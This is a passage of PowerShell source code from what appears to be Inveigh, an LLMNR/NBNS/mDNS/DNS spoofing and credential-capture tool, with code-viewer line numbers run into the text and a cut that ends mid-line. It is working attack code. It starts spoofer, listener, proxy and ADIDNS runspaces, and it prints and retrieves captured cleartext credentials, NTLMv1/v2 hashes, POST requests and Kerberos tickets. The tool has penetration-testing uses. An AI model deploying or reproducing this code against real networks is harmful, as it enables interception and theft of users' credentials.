$HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null 5896 $HTTP_powershell.AddScript($NTLM_functions_scriptblock) > $null 5897 $HTTP_powershell.AddScript($kerberos_functions_scriptblock) > $null 5898 $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Kerberos).AddArgument( 5899 $KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument( 5900 $KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument( 5901 $HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( 5902 $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument( 5903 $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument( 5904 $output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( 5905 $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null 5906 $HTTP_powershell.BeginInvoke() > $null 5907 } 5908 5909 Start-Sleep -m 50 5910 5911 # HTTPS Listener Startup Function 5912 function HTTPSListener 5913 { 5914 $proxy_listener = $false 5915 $HTTPS_listener = $true 5916 $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() 5917 $HTTPS_runspace.Open() 5918 $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 5919 $HTTPS_powershell = [PowerShell]::Create() 5920 $HTTPS_powershell.Runspace = $HTTPS_runspace 5921 $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null 5922 $HTTPS_powershell.AddScript($NTLM_functions_scriptblock) > $null 5923 $HTTPS_powershell.AddScript($kerberos_functions_scriptblock) > $null 5924 $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Kerberos).AddArgument( 5925 $KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument( 5926 $KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument( 5927 $HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( 5928 $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument( 5929 $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument( 5930 $output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( 5931 $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null 5932 $HTTPS_powershell.BeginInvoke() > $null 5933 } 5934 5935 Start-Sleep -m 50 5936 5937 # Proxy Listener Startup Function 5938 function ProxyListener 5939 { 5940 $proxy_listener = $true 5941 $HTTPS_listener = $false 5942 $proxy_runspace = [RunspaceFactory]::CreateRunspace() 5943 $proxy_runspace.Open() 5944 $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 5945 $proxy_powershell = [PowerShell]::Create() 5946 $proxy_powershell.Runspace = $proxy_runspace 5947 $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null 5948 $proxy_powershell.AddScript($NTLM_functions_scriptblock) > $null 5949 $proxy_powershell.AddScript($kerberos_functions_scriptblock) > $null 5950 $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Kerberos).AddArgument( 5951 $KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument( 5952 $KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument( 5953 $HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( 5954 $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument( 5955 $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument( 5956 $output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( 5957 $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null 5958 $proxy_powershell.BeginInvoke() > $null 5959 } 5960 5961 # Sniffer/Spoofer Startup Function 5962 function SnifferSpoofer 5963 { 5964 $sniffer_runspace = [RunspaceFactory]::CreateRunspace() 5965 $sniffer_runspace.Open() 5966 $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 5967 $sniffer_powershell = [PowerShell]::Create() 5968 $sniffer_powershell.Runspace = $sniffer_runspace 5969 $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 5970 $sniffer_powershell.AddScript($NTLM_functions_scriptblock) > $null 5971 $sniffer_powershell.AddScript($kerberos_functions_scriptblock) > $null 5972 $sniffer_powershell.AddScript($SMB_functions_scriptblock) > $null 5973 $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($DNS).AddArgument($DNSTTL).AddArgument( 5974 $EvadeRG).AddArgument($Inspect).AddArgument($IP).AddArgument($Kerberos).AddArgument($KerberosCount).AddArgument( 5975 $KerberosCredential).AddArgument($KerberosHash).AddArgument($LLMNR).AddArgument( 5976 $LLMNRTTL).AddArgument($mDNS).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument($NBNS).AddArgument( 5977 $NBNSTTL).AddArgument($NBNSTypes).AddArgument($output_directory).AddArgument($Pcap).AddArgument( 5978 $PcapTCP).AddArgument($PcapUDP).AddArgument($SMB).AddArgument($SpooferHostsIgnore).AddArgument( 5979 $SpooferHostsReply).AddArgument($SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument( 5980 $SpooferIPsReply).AddArgument($SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument( 5981 $SpooferLearningInterval).AddArgument($SpooferNonprintable).AddArgument( 5982 $SpooferThresholdHost).AddArgument($SpooferThresholdNetwork) > $null 5983 $sniffer_powershell.BeginInvoke() > $null 5984 } 5985 5986 # Unprivileged DNS Spoofer Startup Function 5987 function DNSSpoofer 5988 { 5989 $DNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() 5990 $DNS_spoofer_runspace.Open() 5991 $DNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 5992 $DNS_spoofer_powershell = [PowerShell]::Create() 5993 $DNS_spoofer_powershell.Runspace = $DNS_spoofer_runspace 5994 $DNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 5995 $DNS_spoofer_powershell.AddScript($DNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( 5996 $DNSTTL).AddArgument($SpooferIP) > $null 5997 $DNS_spoofer_powershell.BeginInvoke() > $null 5998 } 5999 6000 # Unprivileged LLMNR Spoofer Startup Function 6001 function LLMNRSpoofer 6002 { 6003 $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() 6004 $LLMNR_spoofer_runspace.Open() 6005 $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 6006 $LLMNR_spoofer_powershell = [PowerShell]::Create() 6007 $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace 6008 $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 6009 $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( 6010 $LLMNRTTL).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( 6011 $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( 6012 $SpooferIPsIgnore).AddArgument($SpooferNonprintable) > $null 6013 $LLMNR_spoofer_powershell.BeginInvoke() > $null 6014 } 6015 6016 # Unprivileged mDNS Spoofer Startup Function 6017 function mDNSSpoofer 6018 { 6019 $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() 6020 $mDNS_spoofer_runspace.Open() 6021 $mDNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 6022 $mDNS_spoofer_powershell = [PowerShell]::Create() 6023 $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace 6024 $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 6025 $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( 6026 $mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( 6027 $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore) > $null 6028 $mDNS_spoofer_powershell.BeginInvoke() > $null 6029 } 6030 6031 # Unprivileged NBNS Spoofer Startup Function 6032 function NBNSSpoofer 6033 { 6034 $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() 6035 $NBNS_spoofer_runspace.Open() 6036 $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 6037 $NBNS_spoofer_powershell = [PowerShell]::Create() 6038 $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace 6039 $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 6040 $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( 6041 $IP).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument($SpooferIP).AddArgument( 6042 $SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument($SpooferIPsIgnore).AddArgument( 6043 $SpooferIPsReply).AddArgument($SpooferNonprintable) > $null 6044 $NBNS_spoofer_powershell.BeginInvoke() > $null 6045 } 6046 6047 # NBNS Brute Force Spoofer Startup Function 6048 function NBNSBruteForceSpoofer 6049 { 6050 $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() 6051 $NBNS_bruteforce_spoofer_runspace.Open() 6052 $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 6053 $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() 6054 $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace 6055 $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null 6056 $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( 6057 $NBNSBruteForceHost).AddArgument($NBNSBruteForcePause).AddArgument($NBNSBruteForceTarget).AddArgument( 6058 $NBNSTTL).AddArgument($SpooferIP) > $null 6059 $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null 6060 } 6061 6062 # Control Loop Startup Function 6063 function ControlLoop 6064 { 6065 $control_runspace = [RunspaceFactory]::CreateRunspace() 6066 $control_runspace.Open() 6067 $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) 6068 $control_powershell = [PowerShell]::Create() 6069 $control_powershell.Runspace = $control_runspace 6070 $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null 6071 $control_powershell.AddScript($ADIDNS_functions_scriptblock) > $null 6072 $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSACE).AddArgument( 6073 $ADIDNSCleanup).AddArgument($ADIDNSCredential).AddArgument($ADIDNSDomain).AddArgument( 6074 $ADIDNSDomainController).AddArgument($ADIDNSForest).AddArgument($ADIDNSHostsIgnore).AddArgument( 6075 $ADIDNSNS).AddArgument($ADIDNSNSTarget).AddArgument($ADIDNSPartition).AddArgument( 6076 $ADIDNSThreshold).AddArgument($ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument( 6077 $ConsoleQueueLimit).AddArgument($elevated_privilege).AddArgument($NBNSBruteForcePause).AddArgument( 6078 $RunCount).AddArgument($RunTime).AddArgument($SpooferIP) > $null 6079 $control_powershell.BeginInvoke() > $null 6080 } 6081 6082 #endregion 6083 #region begin startup enabled services 6084 6085 # HTTP Server Start 6086 if($HTTP -eq 'Y') 6087 { 6088 HTTPListener 6089 } 6090 6091 # HTTPS Server Start 6092 if($HTTPS -eq 'Y') 6093 { 6094 HTTPSListener 6095 } 6096 6097 # Proxy Server Start 6098 if($Proxy -eq 'Y') 6099 { 6100 ProxyListener 6101 } 6102 6103 # Sniffer/Spoofer Start 6104 if(($DNS -eq 'Y' -or $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) 6105 { 6106 SnifferSpoofer 6107 } 6108 elseif(($DNS -eq 'Y' -or $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) 6109 { 6110 6111 if($DNS -eq 'Y') 6112 { 6113 DNSSpoofer 6114 } 6115 6116 if($LLMNR -eq 'Y') 6117 { 6118 LLMNRSpoofer 6119 } 6120 6121 if($mDNS -eq 'Y') 6122 { 6123 mDNSSpoofer 6124 } 6125 6126 if($NBNS -eq 'Y') 6127 { 6128 NBNSSpoofer 6129 } 6130 6131 if($NBNSBruteForce -eq 'Y') 6132 { 6133 NBNSBruteForceSpoofer 6134 } 6135 6136 } 6137 6138 # NBNSBruteForce Spoofer Start 6139 if($NBNSBruteForce -eq 'Y') 6140 { 6141 NBNSBruteForceSpoofer 6142 } 6143 6144 # Control Loop Start 6145 ControlLoop 6146 6147 # Console Output Loop 6148 try 6149 { 6150 6151 if($ConsoleOutput -ne 'N') 6152 { 6153 6154 if($ConsoleStatus) 6155 { 6156 $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus 6157 $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 6158 } 6159 6160 :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) 6161 { 6162 6163 while($inveigh.console_queue.Count -gt 0) 6164 { 6165 6166 switch -wildcard ($inveigh.console_queue[0]) 6167 { 6168 6169 {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} 6170 { 6171 6172 if($inveigh.output_stream_only) 6173 { 6174 Write-Output($inveigh.console_queue[0] + $inveigh.newline) 6175 } 6176 else 6177 { 6178 Write-Warning($inveigh.console_queue[0]) 6179 } 6180 6181 $inveigh.console_queue.RemoveAt(0) 6182 } 6183 6184 {$_ -like "* spoofer disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} 6185 { 6186 6187 if($ConsoleOutput -eq 'Y') 6188 { 6189 6190 if($inveigh.output_stream_only) 6191 { 6192 Write-Output($inveigh.console_queue[0] + $inveigh.newline) 6193 } 6194 else 6195 { 6196 Write-Output($inveigh.console_queue[0]) 6197 } 6198 6199 } 6200 6201 $inveigh.console_queue.RemoveAt(0) 6202 } 6203 6204 {$_ -like "*response sent]" -or $_ -like "*ignoring*" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy*request for *" -or $_ -like "*SYN packet*"} 6205 { 6206 6207 if($ConsoleOutput -ne "Low") 6208 { 6209 6210 if($inveigh.output_stream_only) 6211 { 6212 Write-Output($inveigh.console_queue[0] + $inveigh.newline) 6213 } 6214 else 6215 { 6216 Write-Output($inveigh.console_queue[0]) 6217 } 6218 6219 } 6220 6221 $inveigh.console_queue.RemoveAt(0) 6222 } 6223 6224 default 6225 { 6226 6227 if($inveigh.output_stream_only) 6228 { 6229 Write-Output($inveigh.console_queue[0] + $inveigh.newline) 6230 } 6231 else 6232 { 6233 Write-Output($inveigh.console_queue[0]) 6234 } 6235 6236 $inveigh.console_queue.RemoveAt(0) 6237 } 6238 6239 } 6240 6241 } 6242 6243 if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) 6244 { 6245 6246 if($inveigh.cleartext_list.Count -gt 0) 6247 { 6248 Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) 6249 $inveigh.cleartext_list.Sort() 6250 $cleartext_list_temp = $inveigh.cleartext_list 6251 6252 foreach($unique_cleartext in $cleartext_list_temp) 6253 { 6254 6255 if($unique_cleartext -ne $unique_cleartext_last) 6256 { 6257 Write-Output($unique_cleartext + $inveigh.newline) 6258 } 6259 6260 $unique_cleartext_last = $unique_cleartext 6261 } 6262 6263 Start-Sleep -m 5 6264 } 6265 else 6266 { 6267 Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) 6268 } 6269 6270 if($inveigh.POST_request_list.Count -gt 0) 6271 { 6272 Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) 6273 $inveigh.POST_request_list.Sort() 6274 $POST_request_list_temp = $inveigh.POST_request_list 6275 6276 foreach($unique_POST_request in $POST_request_list_temp) 6277 { 6278 6279 if($unique_POST_request -ne $unique_POST_request_last) 6280 { 6281 Write-Output($unique_POST_request + $inveigh.newline) 6282 } 6283 6284 $unique_POST_request_last = $unique_POST_request 6285 } 6286 6287 Start-Sleep -m 5 6288 } 6289 6290 if($inveigh.NTLMv1_list.Count -gt 0) 6291 { 6292 Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) 6293 $inveigh.NTLMv1_list.Sort() 6294 $NTLMv1_list_temp = $inveigh.NTLMv1_list 6295 6296 foreach($unique_NTLMv1 in $NTLMv1_list_temp) 6297 { 6298 $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) 6299 6300 if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) 6301 { 6302 Write-Output($unique_NTLMv1 + $inveigh.newline) 6303 } 6304 6305 $unique_NTLMv1_account_last = $unique_NTLMv1_account 6306 } 6307 6308 $unique_NTLMv1_account_last = '' 6309 Start-Sleep -m 5 6310 Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) 6311 $NTLMv1_username_list_temp = $inveigh.NTLMv1_username_list 6312 6313 foreach($NTLMv1_username in $NTLMv1_username_list_temp) 6314 { 6315 Write-Output($NTLMv1_username + $inveigh.newline) 6316 } 6317 6318 Start-Sleep -m 5 6319 } 6320 else 6321 { 6322 Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) 6323 } 6324 6325 if($inveigh.NTLMv2_list.Count -gt 0) 6326 { 6327 Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) 6328 $inveigh.NTLMv2_list.Sort() 6329 $NTLMv2_list_temp = $inveigh.NTLMv2_list 6330 6331 foreach($unique_NTLMv2 in $NTLMv2_list_temp) 6332 { 6333 $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) 6334 6335 if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) 6336 { 6337 Write-Output($unique_NTLMv2 + $inveigh.newline) 6338 } 6339 6340 $unique_NTLMv2_account_last = $unique_NTLMv2_account 6341 } 6342 6343 $unique_NTLMv2_account_last = '' 6344 Start-Sleep -m 5 6345 Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) 6346 $NTLMv2_username_list_temp = $inveigh.NTLMv2_username_list 6347 6348 foreach($NTLMv2_username in $NTLMv2_username_list_temp) 6349 { 6350 Write-Output($NTLMv2_username + $inveigh.newline) 6351 } 6352 6353 } 6354 else 6355 { 6356 Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) 6357 } 6358 6359 $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 6360 } 6361 6362 if($inveigh.console_input) 6363 { 6364 6365 if([Console]::KeyAvailable) 6366 { 6367 $inveigh.console_output = $false 6368 BREAK console_loop 6369 } 6370 6371 } 6372 6373 Start-Sleep -m 5 6374 } 6375 6376 } 6377 6378 } 6379 finally 6380 { 6381 6382 if($Tool -eq 2) 6383 { 6384 $inveigh.running = $false 6385 } 6386 6387 } 6388 6389 } 6390 #endregion 6391 #region begin support functions 6392 function Stop-Inveigh 6393 { 6394 <# 6395 .SYNOPSIS 6396 Stop-Inveigh will stop all running Inveigh functions. 6397 #> 6398 6399 if($inveigh) 6400 { 6401 $inveigh.stop = $true 6402 6403 if($inveigh.running -or $inveigh.relay_running) 6404 { 6405 $inveigh.console_queue.Clear() 6406 Watch-Inveigh -NoConsoleMessage 6407 } 6408 else 6409 { 6410 Write-Output "[-] There are no running Inveigh functions" 6411 } 6412 6413 } 6414 6415 } 6416 6417 function Get-Inveigh 6418 { 6419 <# 6420 .SYNOPSIS 6421 Get-Inveigh will get stored Inveigh data from memory. 6422 6423 .PARAMETER Console 6424 Get queued console output. This is also the default if no parameters are set. 6425 6426 .PARAMETER ADIDNS 6427 Get added DNS host records. 6428 6429 .PARAMETER ADIDNSFailed 6430 Get failed DNS host record adds. 6431 6432 .PARAMETER Cleartext 6433 Get captured cleartext credentials. 6434 6435 .PARAMETER CleartextUnique 6436 Get unique captured cleartext credentials. 6437 6438 .PARAMETER KerberosUsername 6439 Get IP addresses, usernames, and index for captured Kerberos TGTs. 6440 6441 .PARAMETER KerberosTGT 6442 Get Kerberos TGT kirbi byte array by index. 6443 6444 .PARAMETER Learning 6445 Get valid hosts discovered through spoofer learning. 6446 6447 .PARAMETER Log 6448 Get log entries. 6449 6450 .PARAMETER NTLMv1 6451 Get captured NTLMv1 challenge/response hashes. 6452 6453 .PARAMETER NTLMv1Unique 6454 Get the first captured NTLMv1 challenge/response for each unique account. 6455 6456 .PARAMETER NTLMv1Usernames 6457 Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. 6458 6459 .PARAMETER NTLMv2 6460 Get captured NTLMv1 challenge/response hashes. 6461 6462 .PARAMETER NTLMv2Unique 6463 Get the first captured NTLMv2 challenge/response for each unique account. 6464 6465 .PARAMETER NTLMv2Usernames 6466 Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. 6467 6468 .PARAMETER POSTRequest 6469 Get captured POST requests. 6470 6471 .PARAMETER POSTRequestUnique 6472 Get unique captured POST request. 6473 6474 .PARAMETER Session 6475 Get relay session list. 6476 #> 6477 6478 [CmdletBinding()] 6479 param 6480 ( 6481 [parameter(Mandatory=$false)][Switch]$Cleartext, 6482 [parameter(Mandatory=$false)][Switch]$CleartextUnique, 6483 [parameter(Mandatory=$false)][Switch]$Console, 6484 [parameter(Mandatory=$false)][Switch]$ADIDNS, 6485 [parameter(Mandatory=$false)][Switch]$ADIDNSFailed, 6486 [parameter(Mandatory=$false)][Int]$KerberosTGT, 6487 [parameter(Mandatory=$false)][Switch]$KerberosUsername, 6488 [parameter(Mandatory=$false)][Switch]$Learning, 6489 [parameter(Mandatory=$false)][Switch]$Log, 6490 [parameter(Mandatory=$false)][Switch]$NTLMv1, 6491 [parameter(Mandatory=$false)][Switch]$NTLMv2, 6492 [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, 6493 [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, 6494 [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, 6495 [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, 6496 [parameter(Mandatory=$false)][Switch]$POSTRequest, 6497 [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, 6498 [parameter(Mandatory=$false)][Switch]$Session, 6499 [parameter(Mandatory=$false)][Switch]$Enumerate, 6500 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 6501 ) 6502 6503 if($Console -or $PSBoundParameters.Count -eq 0) 6504 { 6505 6506 while($inveigh.console_queue.Count -gt 0) 6507 { 6508 6509 if($inveigh.output_stream_only) 6510 { 6511 Write-Output($inveigh.console_queue[0] + $inveigh.newline) 6512 $inveigh.console_queue.RemoveAt(0) 6513 } 6514 else 6515 { 6516 6517 switch -wildcard ($inveigh.console_queue[0]) 6518 { 6519 6520 {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} 6521 { 6522 Write-Warning $inveigh.console_queue[0] 6523 $inveigh.console_queue.RemoveAt(0) 6524 } 6525 6526 default 6527 { 6528 Write-Output $inveigh.console_queue[0] 6529 $inveigh.console_queue.RemoveAt(0) 6530 } 6531 6532 } 6533 6534 } 6535 6536 } 6537 6538 } 6539 6540 if($ADIDNS) 6541 { 6542 $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys 6543 6544 foreach($ADIDNS_host in $ADIDNS_table_keys_temp) 6545 { 6546 6547 if($inveigh.ADIDNS_table.$ADIDNS_host -ge 1) 6548 { 6549 Write-Output $ADIDNS_host 6550 } 6551 6552 } 6553 6554 } 6555 6556 if($ADIDNSFailed) 6557 { 6558 6559 $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys 6560 6561 foreach($ADIDNS_host in $ADIDNS_table_keys_temp) 6562 { 6563 6564 if($inveigh.ADIDNS_table.$ADIDNS_host -eq 0) 6565 { 6566 Write-Output $ADIDNS_host 6567 } 6568 6569 } 6570 6571 } 6572 6573 if($KerberosTGT) 6574 { 6575 Write-Output $inveigh.kerberos_TGT_list[$KerberosTGT] 6576 } 6577 6578 if($KerberosUsername) 6579 { 6580 Write-Output $inveigh.kerberos_TGT_username_list 6581 } 6582 6583 if($Log) 6584 { 6585 Write-Output $inveigh.log 6586 } 6587 6588 if($NTLMv1) 6589 { 6590 Write-Output $inveigh.NTLMv1_list 6591 } 6592 6593 if($NTLMv1Unique) 6594 { 6595 $inveigh.NTLMv1_list.Sort() 6596 $NTLMv1_list_temp = $inveigh.NTLMv1_list 6597 6598 foreach($unique_NTLMv1 in $NTLMv1_list_temp) 6599 { 6600 $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) 6601 6602 if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) 6603 { 6604 Write-Output $unique_NTLMv1 6605 } 6606 6607 $unique_NTLMv1_account_last = $unique_NTLMv1_account 6608 } 6609 6610 } 6611 6612 if($NTLMv1Usernames) 6613 { 6614 Write-Output $inveigh.NTLMv2_username_list 6615 } 6616 6617 if($NTLMv2) 6618 { 6619 Write-Output $inveigh.NTLMv2_list 6620 } 6621 6622 if($NTLMv2Unique) 6623 { 6624 $inveigh.NTLMv2_list.Sort() 6625 $NTLMv2_list_temp = $inveigh.NTLMv2_list 6626 6627 foreach($unique_NTLMv2 in $NTLMv2_list_temp) 6628 { 6629 $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) 6630 6631 if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) 6632 { 6633 Write-Output $unique_NTLMv2 6634 } 6635 6636 $unique_NTLMv2_account_last = $unique_NTLMv2_account 6637 } 6638 6639 } 6640 6641 if($NTLMv2Usernames) 6642 { 6643 Write-Output $inveigh.NTLMv2_username_list 6644 } 6645 6646 if($Cleartext) 6647 { 6648 Write-Output $inveigh.cleartext_list 6649 } 6650 6651 if($CleartextUnique) 6652 { 6653 Write-Output $inveigh.cleartext_list | Get-Unique 6654 } 6655 6656 if($POSTRequest) 6657 { 6658 Write-Output $inveigh.POST_request_list 6659 } 6660 6661 if($POSTRequestUnique) 6662 { 6663 Write-Output $inveigh.POST_request_list | Get-Unique 6664 } 6665 6666 if($Learning) 6667 { 6668 Write-Output $inveigh.valid_host_list 6669 } 6670 6671 if($Session) 6672 { 6673 $i = 0 6674 6675 while($i -lt $inveigh.session_socket_table.Count) 6676 { 6677 6678 if(!$inveigh.session_socket_table[$i].Connected) 6679 { 6680 $inveigh.session[$i] | Where-Object {$_.Status = "disconnected"} 6681 } 6682 6683 $i++ 6684 } 6685 6686 Write-Output $inveigh.session | Format-Table -AutoSize 6687 } 6688 6689 if($Enumerate) 6690 { 6691 Write-Output $inveigh.enumerate 6692 } 6693 6694 } 6695 6696 function Watch-Inveigh 6697 { 6698 <# 6699 .SYNOPSIS 6700 Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. 6701 6702 .PARAMETER ConsoleOutput 6703 (Medium,Low) Medium and Low can be used to reduce output. 6704 #> 6705 6706 [CmdletBinding()] 6707 param 6708 ( 6709 [parameter(Mandatory=$false)][Switch]$NoConsoleMessage, 6710 [parameter(Mandatory=$false)][ValidateSet("Low","Medium","Y")][String]$ConsoleOutput = "Y", 6711 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 6712 ) 6713 6714 if($inveigh.tool -ne 1) 6715 { 6716 6717 if($inveigh.running -or $inveigh.relay_running) 6718 { 6719 6720 if(!$NoConsoleMessage) 6721 { 6722 Write-Output "[*] Press any key to stop console output" 6723 } 6724 6725 $inveigh.console_output = $true 6726 6727 :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) 6728 { 6729 6730 while($inveigh.console_queue.Count -gt 0) 6731 { 6732 6733 switch -wildcard ($inveigh.console_queue[0]) 6734 { 6735 6736 {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} 6737 { 6738 Write-Warning $inveigh.console_queue[0] 6739 $inveigh.console_queue.RemoveAt(0) 6740 } 6741 6742 {$_ -like "*spoofer disabled]" -or $_ -like "*local request]" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} 6743 { 6744 6745 if($ConsoleOutput -eq 'Y') 6746 { 6747 Write-Output $inveigh.console_queue[0] 6748 } 6749 6750 $inveigh.console_queue.RemoveAt(0) 6751 6752 } 6753 6754 {$_ -like "*response sent]" -or $_ -like "*ignoring*" -or $_ -like "* HTTP*request for *" -or $_ 